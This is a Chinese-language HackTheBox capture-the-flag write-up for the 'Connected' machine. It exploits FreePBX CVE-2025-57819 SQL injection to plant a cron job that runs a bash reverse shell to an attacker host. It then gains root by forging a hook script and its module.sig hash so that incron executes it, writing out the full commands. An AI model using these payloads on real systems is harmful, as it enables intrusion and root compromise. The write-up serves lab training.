HackTheBox Connected Writeup
HackTheBox Connected 是一台简单难度的 Linux 机器。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程,突出关键漏洞点、凭据来源与最终拿到 user/root 或域权限的利用链。
信息收集
端口扫描
nmap -sC -sV -p- <ip>
| 端口 | 服务 | 备注 |
|---|---|---|
| 22 | SSH | OpenSSH 7.4 |
| 80 | HTTP | FreePBX 16.0.40.7 |
| 443 | HTTPS | Apache/2.4.6 |
目标运行 FreePBX 16.0.40.7,这是一套基于 Asterisk 的开源 PBX 管理面板。
服务探测
访问 80 端口发现 FreePBX 管理登录界面。FreePBX 16.0.40.7 存在已知 SQL 注入漏洞 CVE-2025-57819,可在未经认证的情况下通过某些接口注入 SQL。
发现注入点存在后,确认为显错/报错注入
USER
SQL 注入利用
FreePBX 的某个接口存在报错 SQL 注入(Error-based SQL Injection),可以直接通过报错信息回显数据。利用该注入点,可以在数据库中执行任意 SQL 语句。
核心思路:利用 FreePBX 的 cron_jobs 表机制,通过 SQL 注入往该表插入一条定时任务,执行恶意命令反弹 shell。
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'webshell', 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1', NULL, '* * * * *', 30, 1, 1)
插入后等待一分钟,定时任务触发,获得反向 shell。
# 本地监听
nc -lvnp 4444
Getshell
# 反向 shell 连接成功后
id
# uid=1001(asterisk) gid=1001(asterisk) groups=1001(asterisk)
进入系统后以 asterisk 用户身份运行,接下来开始枚举提权路径。
ROOT
提权信息收集
枚举过程中发现系统以 root 权限运行 incrond(inotify cron daemon),监控 /var/spool/asterisk/incron 目录下的文件变化。
cat /etc/incron.d/sysadmin
/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#
含义:只要该目录下有文件被创建、修改、属性更改或关闭写入,系统就会以 root 权限运行 /usr/bin/sysadmin_manager,并把触发文件的文件名作为参数传给它。
sysadmin_manager 流程分析
sysadmin_manager 的处理流程如下:
- 解析文件名(例如
sysadmin.fail2ban-stop),提取模块名(sysadmin)和 hook 名(fail2ban-stop) - 检查对应模块的
module.sig文件(GPG 签名验证文件) - 比对
hooks/目录下对应脚本文件的 SHA256 哈希是否和签名文件中的记录一致 - 验证通过后,以 root 权限执行该 hook 脚本
可利用点
asterisk 用户对以下路径拥有写权限:
- 触发目录
/var/spool/asterisk/incron - sysadmin 模块的
hooks/目录 - sysadmin 模块的
module.sig签名文件
这意味着我们可以:
- 将某个 hook 脚本替换为恶意 payload
- 重新计算 payload 的 SHA256 哈希
- 更新
module.sig中的哈希值 - 在 incron 触发目录下创建触发文件
- incrond 检测到变化 → root 执行
sysadmin_manager→ 签名验证通过 → root 执行我们的恶意脚本
利用步骤
# 1. 备份原始文件
cp /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop /tmp/fail2ban-stop.bak
cp /var/www/html/admin/modules/sysadmin/module.sig /tmp/module.sig.bak
# 2. 写入恶意 payload(改成你想要的命令)
cat > /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop << 'EOF'
#!/bin/bash
id > /tmp/root.txt
whoami >> /tmp/root.txt
cat /root/root.txt >> /tmp/root.txt 2>/dev/null || echo "no flag" >> /tmp/root.txt
chmod 666 /tmp/root.txt
EOF
chmod +x /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop
# 3. 更新 module.sig 中的 SHA256 哈希
NEW_HASH=$(sha256sum /var/www/html/admin/modules/sysadmin/hooks/fail2ban-stop | awk '{print $1}')
sed -i "s|hooks/fail2ban-stop:[0-9a-f]\{64\}|hooks/fail2ban-stop:$NEW_HASH|" /var/www/html/admin/modules/sysadmin/module.sig
# 4. 触发 incron 执行
touch /var/spool/asterisk/incron/sysadmin.fail2ban-stop
# 5. 检查结果
cat /tmp/root.txt
执行后输出类似:
uid=0(root) gid=0(root) groups=0(root)
root
<root_flag_hash>
成功获取 root 权限和 flag。
总结
| 步骤 | 方法 |
|---|---|
| 初始访问 | FreePBX CVE-2025-57819 SQL 注入 → cron_jobs webshell |
| 权限提升 | incrond + sysadmin_manager 签名验证绕过 |
| 关键点 | asterisk 用户对 hooks/ 和 module.sig 有写权限 |
| 教训 | incron 触发目录不应授予低权限用户写权限;签名文件的哈希校验链应保证完整性 |